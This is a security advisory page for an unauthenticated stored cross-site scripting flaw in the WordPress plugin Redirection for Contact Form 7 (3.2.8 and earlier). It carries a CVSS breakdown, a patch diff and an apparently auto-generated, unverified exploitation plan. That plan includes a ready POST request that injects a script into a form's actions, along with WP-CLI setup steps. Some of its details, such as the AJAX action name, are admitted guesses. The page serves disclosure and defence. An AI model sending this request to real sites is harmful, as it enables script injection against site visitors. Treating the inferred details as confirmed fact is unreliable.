CVE-2026-23970

Redirection for Contact Form 7 <= 3.2.8 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
3.2.9
Patched in
7d
Time to patch

Description

The Redirection for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.2.8
PublishedMay 13, 2026
Last updatedMay 19, 2026
Affected pluginwpcf7-redirect

What Changed in the Fix

Changes introduced in v3.2.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-23970 ## 1. Vulnerability Summary The **Redirection for Contact Form 7** plugin (<= 3.2.8) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin's AJAX handler for saving form-specific "Submission Actions" (specifically the `…

Show full research plan

Exploitation Research Plan - CVE-2026-23970

1. Vulnerability Summary

The Redirection for Contact Form 7 plugin (<= 3.2.8) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin's AJAX handler for saving form-specific "Submission Actions" (specifically the FireScript action type) fails to perform any authorization checks or nonce verification. This allows an unauthenticated attacker to update the metadata of any Contact Form 7 form to include arbitrary JavaScript. This script is then executed in the context of any user who submits the form, as the plugin fails to sanitize or escape the stored script before outputting it to the frontend.

2. Attack Vector Analysis

  • Vulnerable Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wpcf7r_save_actions (inferred from plugin architecture for managing multiple actions).
  • Vulnerable Parameter: actions (specifically the script key within the action settings).
  • Authentication Required: None (Unauthenticated).
  • Preconditions:
    1. A Contact Form 7 form must exist (ID must be known).
    2. The "Legacy Fire Script" feature must be enabled (often the case on upgraded sites or explicitly via the wpcf7_redirect_legacy_fire_script option).

3. Code Flow

  1. Entry Point: An unauthenticated POST request is sent to admin-ajax.php?action=wpcf7r_save_actions.
  2. Missing Check: The handler (likely in classes/class-wpcf7r-actions.php) is invoked. It lacks a current_user_can('manage_options') check and does not call check_ajax_referer().
  3. Storage: The handler iterates through the actions parameter and updates the form's metadata (e.g., _wpcf7r_actions) using update_post_meta() based on the provided form_id.
  4. Trigger: A user navigates to a page containing the form and submits it.
  5. Retrieval: The plugin's submission handler retrieves the actions for that form ID.
  6. Processing: For the FireScript action, WPCF7R_Action_FireScript::process($submission) is called (as seen in classes/actions/class-wpcf7r-action-firescript.php).
  7. Sink: The process method returns the raw $script value obtained via $this->get( 'script' ). This value is then either printed directly into a <script> tag in the response or returned via an AJAX feedback response and executed via eval() in the browser.

4. Nonce Acquisition Strategy

This vulnerability is classified as unauthenticated, implying that the vulnerable AJAX handler either uses the wp_ajax_nopriv_ prefix or simply omits the nonce check.

If a nonce were required, it would typically be localized via wp_localize_script.

  1. Script Variable: wpcf7r_vars (inferred).
  2. Extraction:
    browser_eval("window.wpcf7r_vars?.nonce")
    

However, the primary exploitation path assumes the nonce check is entirely absent in the vulnerable version.

5. Exploitation Strategy

  1. Target Identification: Locate a CF7 form on the site and extract the form ID (e.g., 101) from the wpcf7-f101-p... class in the HTML.
  2. Precondition Setup: Use WP-CLI to ensure the FireScript action is active (simulating a legacy install):
    wp option update wpcf7_redirect_legacy_fire_script yes
    
  3. Payload Construction: Create a POST request to update the form actions.
    • Action: wpcf7r_save_actions
    • Form ID: 101
    • Actions Payload: A structure representing a FireScript action containing the XSS payload.
  4. Execution (HTTP Request):
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=wpcf7r_save_actions&form_id=101&actions[0][action_type]=FireScript&actions[0][active]=true&actions[0][script]=alert(document.domain)
    
  5. Trigger XSS: Navigate to the form page and click "Submit". The browser should execute alert(document.domain).

6. Test Data Setup

  1. Plugins: Install contact-form-7 and wpcf7-redirect (v3.2.8).
  2. Create Form:
    wp post create --post_type=wpcf7_contact_form --post_title="Vulnerable Form" --post_status=publish
    # Assume ID is 101
    
  3. Create Page:
    wp post create --post_type=page --post_title="Contact Us" --post_status=publish --post_content='[contact-form-7 id="101"]'
    
  4. Enable FireScript:
    wp option update wpcf7_redirect_legacy_fire_script yes
    

7. Expected Results

  • The AJAX call to wpcf7r_save_actions returns a success response (e.g., {"success":true}).
  • The _wpcf7r_actions metadata for the form is updated with the XSS payload.
  • Upon form submission, the browser executes the injected JavaScript.

8. Verification Steps

  1. Check Meta:
    wp post meta get 101 _wpcf7r_actions
    
    Verify that the output contains the string `alert(document.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Redirection for Contact Form 7 plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to a lack of authorization and nonce validation in its AJAX handler for saving form actions. This allows an attacker to inject arbitrary JavaScript into a Contact Form 7 form's submission process, which executes in the context of any user who submits the form because the script is stored and later output without sufficient sanitization.

Vulnerable Code

// classes/actions/class-wpcf7r-action-firescript.php line 108
	public function process( $submission ) {

		$script = $this->get( 'script' );

		$script = $this->replace_tags( $script, array() );

		return $script;
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wpcf7-redirect/3.2.8/classes/actions/class-wpcf7r-action-firescript.php /home/deploy/wp-safety.org/data/plugin-versions/wpcf7-redirect/3.2.9/classes/actions/class-wpcf7r-action-firescript.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wpcf7-redirect/3.2.8/classes/actions/class-wpcf7r-action-firescript.php	2025-04-23 13:52:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpcf7-redirect/3.2.9/classes/actions/class-wpcf7r-action-firescript.php	2026-02-10 10:48:56.000000000 +0000
@@ -108,7 +108,7 @@
 
 		$script = $this->get( 'script' );
 
-		$script = $this->replace_tags( $script, array() );
+		$script = $this->replace_tags( $script, true );
 
 		return $script;
 	}

Exploit Outline

1. Identify the post ID of an active Contact Form 7 form on the target WordPress site (found in the HTML source via classes like 'wpcf7-f101-p...'). 2. Send an unauthenticated POST request to `/wp-admin/admin-ajax.php?action=wpcf7r_save_actions` with the `form_id` and an `actions` array. 3. The payload should define a `FireScript` action type and include malicious JavaScript in the `script` parameter (e.g., `actions[0][action_type]=FireScript&actions[0][active]=true&actions[0][script]=alert(document.domain)`). 4. The plugin, lacking permission checks, updates the form's metadata with the provided script. 5. When any user visits the site and submits that form, the plugin's submission handler retrieves the injected script and executes it in the user's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.